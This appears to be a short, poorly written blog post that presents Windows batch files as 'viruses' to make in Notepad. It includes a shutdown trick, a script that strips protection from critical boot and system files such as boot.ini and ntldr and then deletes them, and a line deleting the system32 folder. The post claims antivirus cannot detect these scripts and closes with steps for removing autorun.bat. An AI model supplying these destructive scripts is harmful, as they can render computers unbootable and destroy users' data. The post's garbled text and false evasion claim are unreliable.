SHUTDOWN VIRUS

First open notepad and type like show below image



And save in to filename.bat ,open the bat file its display a System shutdown dialogue box within
160 seconds computer will turn off shown below the figure


Enjoy!!

DANGEROUS VIRUS CODE

In the post Show below virus coding is very dangerous, first open the notepad type code

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

save as in to virus.bat file system

VIRUS CODING CREATE IN NOTEPAD

write your own simple virus can’t detected by any antivirus....

@Echo off

Echo virus

Pause

@Echo off
Del C:\window\system32

Note : And save that as .bat file system format

it will delet c:... don’t try its only learning purpose

How to delete virus "autorun.bat"

How to detect virus in your pen drive are PC , First open the command prompt start-->run --> type cmd-->which drive to detect the virus identify it like example G:\> --> type attrib... command prompt virtual all file system and directory, In the drive search any autorun.bat

dos attack if any file system in drive type G:\>attrib -s -h -r autorun.bat and delete that virus G:\> del autorun.bat